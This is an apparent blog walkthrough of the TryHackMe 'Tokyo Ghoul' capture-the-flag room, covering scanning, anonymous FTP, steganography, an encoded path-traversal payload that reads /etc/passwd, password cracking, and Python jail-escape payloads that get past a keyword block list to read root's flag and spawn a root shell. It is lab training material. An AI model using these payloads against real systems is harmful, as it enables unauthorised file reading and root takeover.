TryHackMe: Tokyo Ghoul

Tony J -

TryHackMe: Tokyo Ghoul by devalfo & rockyou.txt

Task 1 About the room

This room took a lot of inspiration from psychobreak , and it is based on Tokyo Ghoul anime.

Alert: This room can contain some spoilers 'only s1 and s2 ' so if you are interested to watch the anime, wait till you finish the anime and come back to do the room

The machine will take some time, just go grab some water or make a coffee.

This room contains some non-pg13 elements in the form of narrative descriptions. Please proceed only at your own comfort level.

Read the above - Done

Deploy the machine - Done

Task 2 Where am i ?

Use nmap to scan all ports

Let's break out rustscan and see how many ports we have open.

╰─⠠⠵ rustscan -a ghoul --ulimit 10000 -- -sC -sV -oA ghoul -A -v
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/tony/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.217.191:[REDACTED]
.....
.....
Open 10.10.217.191:[REDACTED]

How many ports are open ?

From the above scan we see how many ports are open.

Answer: [REDACTED]

What is the OS used ?

From both ssh and apache information returned from our rustscan/nmap we can see the operating system.

Answer: [REDACTED]

Task 3 Planning to escape

Did you find the note that the others ghouls gave you? where did you find it ?

Browsing to http://ghoul we see a link at the bottom of the page that goes to [REDACTED].[REDACTED]

Answer: [REDACTED].[REDACTED]

What is the key for Rize executable?

Using view-source on the above page gives us a comment

	<!-- look don't tell jason but we will help you escape , here is some clothes to look like us and a mask to look anonymous and go to the ftp room right there you will find a freind who will help you -->

Taking this hint we jump over to ftp and login as anonymous

╰─⠠⠵ ftp ghoul
Connected to ghoul.
220 (vsFTPd 3.0.3)
Name (ghoul:tony): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

Looking around we find need_to_talk which is a binary. Let's grab with get, make it executable chmod +x and run it

╰─⠠⠵ ./need_to_talk 
Hey Kaneki finnaly you want to talk 
Unfortunately before I can give you the kagune you need to give me the paraphrase
Do you have what I'm looking for?

>

Ok, looks like we need to enter something, running strings across the binary we can see [REDACTED] above the text

Using this we get the below

Good job. I believe this is what you came for:
[REDACTED]

Answer: [REDACTED]

Use a tool to get the other note from Rize.

Another file found on the ftp is rize_and_kaneki.jpg

Running steghide against this jpg with the key found above we get a note.

╰─⠠⠵ steghide extract -sf rize_and_kaneki.jpg 
Enter passphrase: 
wrote extracted data to "yougotme.txt".

╰─⠠⠵ cat yougotme.txt 
haha you are so smart kaneki but can you talk my code 

[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]

if you can talk it allright you got my secret directory

Throwing this into cyberchef we get the below.

Answer: Not Needed but we note: [REDACTED]

Task 4 What Rize is trying to say?

What the message mean did you understand it ? what it says?

Taking the output from Cyber Chef from the previous question we get the answer.

Answer: [REDACTED]

Can you see the weakness in the dark ? no ? just search

Using gobuster we find the subdirectory [REDACTED]

╰─⠠⠵ gobuster -m dir -u http://ghoul/[REDACTED]/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php,zip,bak,sql,sqlite,tar,tgz,tar.gz

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://ghoul/[REDACTED]/
[+] Threads      : 10
[+] Wordlist     : /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : php,bak,sql,tgz,txt,sqlite,tar,tar.gz,zip
[+] Timeout      : 10s
=====================================================
2021/03/14 23:33:01 Starting gobuster
=====================================================
/[REDACTED] (Status: 301)

Answering yes or no results in being redirected to /index.php?view=flower.gif .... This smells like an lfi... Let's try ../../../../../../..//etc/passwd

Damn.... trying the usual php://filter tactic does not work either ... Lets try and URL Encode the lfi..

%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fpasswd

What did you find something ? crack it

From the above we have the password hash

[REDACTED]

what is rize username ?

From the /etc/passwd we can see the username with a password is [REDACTED]

Answer: [REDACTED]

what is rize password ?

Cracking the password above with john

╰─⠠⠵ john passwd --wordlist=rockyou.txt
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED]      (?)
1g 0:00:00:04 100% 0.2183g/s 314.4p/s 314.4c/s 314.4C/s teacher..michel
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Answer: [REDACTED]

Task 5 Fight Jason

user.txt

Using the username and password above we can ssh into the box and read the user.txt found in our home directory

[REDACTED]@vagrant:~$ cat user.txt 
[REDACTED]

Answer: [REDACTED]

root.txt

Running sudo -l we can see the below

[REDACTED]@vagrant:~$ sudo -l
[sudo] password for [REDACTED]: 
Matching Defaults entries for [REDACTED] on vagrant.vm:
    env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User [REDACTED] may run the following commands on vagrant.vm:
    (ALL) /usr/bin/python3 /home/[REDACTED]/jail.py

Checking the permission we do not have write access on /home/[REDACTED]/jail.py so we can not just change the file

[REDACTED]@vagrant:~$ ls -l /home/[REDACTED]/jail.py
-rw-r--r-- 1 root root 588 Jan 23 22:27 /home/[REDACTED]/jail.py

Let's take a look at the python script

#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
    print("Hi! Welcome to my world kaneki")
    print("========================================================================")
    print("What ? You gonna stand like a chicken ? fight me Kaneki")
    text = input('>>> ')
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("Do you think i will let you do this ??????")
            return;
    else:
        exec(text)
        print('No Kaneki you are so dead')
if __name__ == "__main__":
    main()

Looking at the above we can not use any of our normal verbs. Doing some Insert Search Engine Verb Here I come across https://anee.me/escaping-python-jails-849c65cf306e?gi=a7d3bac81831. Looking at the escapes at the bottom of the page I modify it to the below.

__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('cat /root/root.txt')

So let's run it...

[REDACTED]@vagrant:~$ sudo /usr/bin/python3 /home/[REDACTED]/jail.py
[sudo] password for [REDACTED]: 
Hi! Welcome to my world kaneki
========================================================================
What ? You gonna stand like a chicken ? fight me Kaneki
>>> __builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('cat /root/root.txt')
[REDACTED]
No Kaneki you are so dead
[REDACTED]@vagrant:~$

Answer: [REDACTED]

Of course we could also modify it to give us a root shell using the following:

__builtins__.__dict__['__IMPORT__'.lower()]('PTY'.lower()).__dict__['SPAWN'.lower()]('/bin/bash')

[REDACTED]@vagrant:~$ sudo /usr/bin/python3 /home/[REDACTED]/jail.py
Hi! Welcome to my world kaneki
========================================================================
What ? You gonna stand like a chicken ? fight me Kaneki
>>> __builtins__.__dict__['__IMPORT__'.lower()]('PTY'.lower()).__dict__['SPAWN'.lower()]('/bin/bash')
root@vagrant:~#

Task 6 Special thanks

You can contact me on my discord : 0UR4N05#6231

Congratulations you've complete Tokyo ghoul room 1. This is the first room I've ever created so If you enjoyed it please give me a follow up on twitter and send me your feedback in twitter or discord , and i'll be so grateful if you like this room and share it with your friends , thank you .

Thank you

Answer: Not needed

Done

BOOM!!!!, another room completed. Was good fun and required a mix of skills to get to the root flag. Also found an unintended which I reported to the room creator.

Unintended Root

The server was built using vagrant and this default user was left there with sudo

vagrant@vagrant:~$ sudo -l
Matching Defaults entries for vagrant on vagrant.vm:
    env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User vagrant may run the following commands on vagrant.vm:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL

Using this user we can gain a root shell using sudo -i and read /root/root.txt

root@vagrant:~# cat /root/root.txt 
[REDACTED]